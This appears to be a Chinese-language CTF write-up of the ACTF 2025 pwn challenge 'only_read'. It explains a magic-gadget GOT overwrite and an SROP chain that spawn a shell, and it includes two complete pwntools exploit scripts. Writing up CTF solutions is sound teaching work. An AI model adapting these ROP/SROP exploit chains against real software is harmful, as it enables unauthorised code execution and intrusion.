ACTF-2025-pwn 前言 继续备战
only_read 题如其名,只有一个read 函数,通过magic gadgets 来打。当然也有其他解法
ida分析 思路 magic gadgets 首先要知道经典的gadgets
1 2 0x000000000040111c : add dword ptr [rbp - 0x3d ], ebx ; nop ; ret0x0000000000110a46 : pop rbx; pop rbp; pop r12; pop r13; pop r14;
这两条gadgets,可以凑一个任意半个地址写。上面那个是程序里的,下面的是libc中的。选择这条是因为它的低三字节和read接近,只需要改两个字节,就可以把read修改为这个。(ps:4,5,6都是说第二次read时的payload)
那么第一次read,就是修改rbp,然后返回read继续读。
第二次read,前面0x80字节开始为后续的利用作准备。rbp设置为,这次的读入的地址,同时,这地址要下一次能修改到read@got[]
第三次read,就修改掉read@got为0x110a46 这条gadget
read结束之后,rsp指向rbp+8,rbp是之前设计好的,也就是会回到第二次read时的前0x80字节之间。在这里调用read@plt,来执行改好的gadget。这时可以控制rbx,rbp。
然后,接上0x40111c这条gadget,把read@got[]改为ogg。
然后,可以接一个pop_rbp抬栈,再调用read@plt,来执行ogg。
SROP 如何找syscall; ret;
1 ROPgadget --binary libc.so.6 --opcode 0f05c3
这是找syscall的一个方法。当然read函数的过程中其实有syscall,我们只要把偏移改过去就行。当然要提前控制好rax, 那么这题就是要想办法控制rax为0xf
第一次read,修改rbp,返回read继续读。
第二次read,前0x80字节可以部署一些准备工作,rbp往bss的高地址写,便于控制。
第三次read,要控制rbp,为read@got[]附近,下一次要修改read偏移直接到sysread。同时把SigreturnFrame,部署在这里。
第四次read,把偏移改好
这一次,因为没有设置好rax,所以还是read,随便输下一次就是SROP。
nepnep ACTF 2025 Writeup by Nepnep | CN-SEC 中文网
exp magic gadgets 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from esy import *context.log_level="debug" context.terminal=['tmux' ,'splitw' ,'-h' ,'-l' ,'66%' ] context.arch="amd64" io,elf=loadfile("./only_read" ,"" ,0 ) ''' 0x000000000040111c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret 0x0000000000058aa8 : pop rbp ; pop rbx ; ret 0x00000000000584d5 : pop rbx ; pop rbp ; pop r12 ; pop r13 ; ret 0x0000000000110a46: pop rbx; pop rbp; pop r12; pop r13; pop r14; ret; ''' one_gadgets=[0xef52b ,0xef4ce ,0x583f3 ,0x583ec ] gdb.attach(io,"b *0x401158" ) got_read = elf.got['read' ] addr_reread = 0x401142 gadget=[0x40111c ,0x058aa8 ,0x0584d5 ] payload=b"a" *0x80 +p64(got_read+0x100 )+p64(addr_reread) io.send(payload) sleep(1 ) rop_chain = b"1" * 8 rop_chain += flat([ elf.plt['read' ], 0xfffdeae5 , got_read + 0x3d , 0 , 0 , 0 , gadget[0 ] ], length=0x38 ) rop_chain += p64(gadget[0 ]+1 ) rop_chain += p64(0x404190 ) rop_chain += p64(elf.plt['read' ]) rop_chain = rop_chain.ljust(0x80 , b"\x00" ) rop_chain += p64(0x403ff8 + 0x88 ) rop_chain += p64(addr_reread) io.sendline(rop_chain) sleep(1 ) io.send(b"\x46\x0a" ) io.interactive()
SROP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from esy import *context.log_level="debug" context.terminal=['tmux' ,'splitw' ,'-h' ,'-l' ,'66%' ] context.arch="amd64" io,elf=loadfile("./only_read" ,"" ,0 ) ''' 0x0000000000098fb6: syscall; ret; 0x000000000011c3f9: 0f05c3; ''' tar=0x404088 bss=0x404800 read=0x401142 rbp=0x40111D got=0x404000 leave=0x40115D gdb.attach(io,"b *0x401158" ) payload=b'\x00' *0x80 +p64(tar+0x80 -0x8 )+p64(read) io.send(payload) pause() payload=p64(bss+0x100 -0x90 )+p64(read+4 ) payload=payload.ljust(0x80 ,b'\x00' )+p64(bss-0x100 )+p64(read) io.send(payload) pause() s=SigreturnFrame() bin_sh=0x404710 s.rax=0x3b s.rdi=bin_sh s.rdx=0 s.rsi=0 s.rip=0x401044 payload =p64(bss).ljust(0x80 ,b'\x00' )+p64(got+0x80 )+p64(read) payload+=b"/bin/sh\x00" +b'\x00' *0x160 +p64(rbp)+p64(0xf +0x80 )+p64(read)+bytes (s)[8 :] io.send(payload) pause() io.send(b'\x5f' ) pause() io.sendline(b'a' ) io.interactive()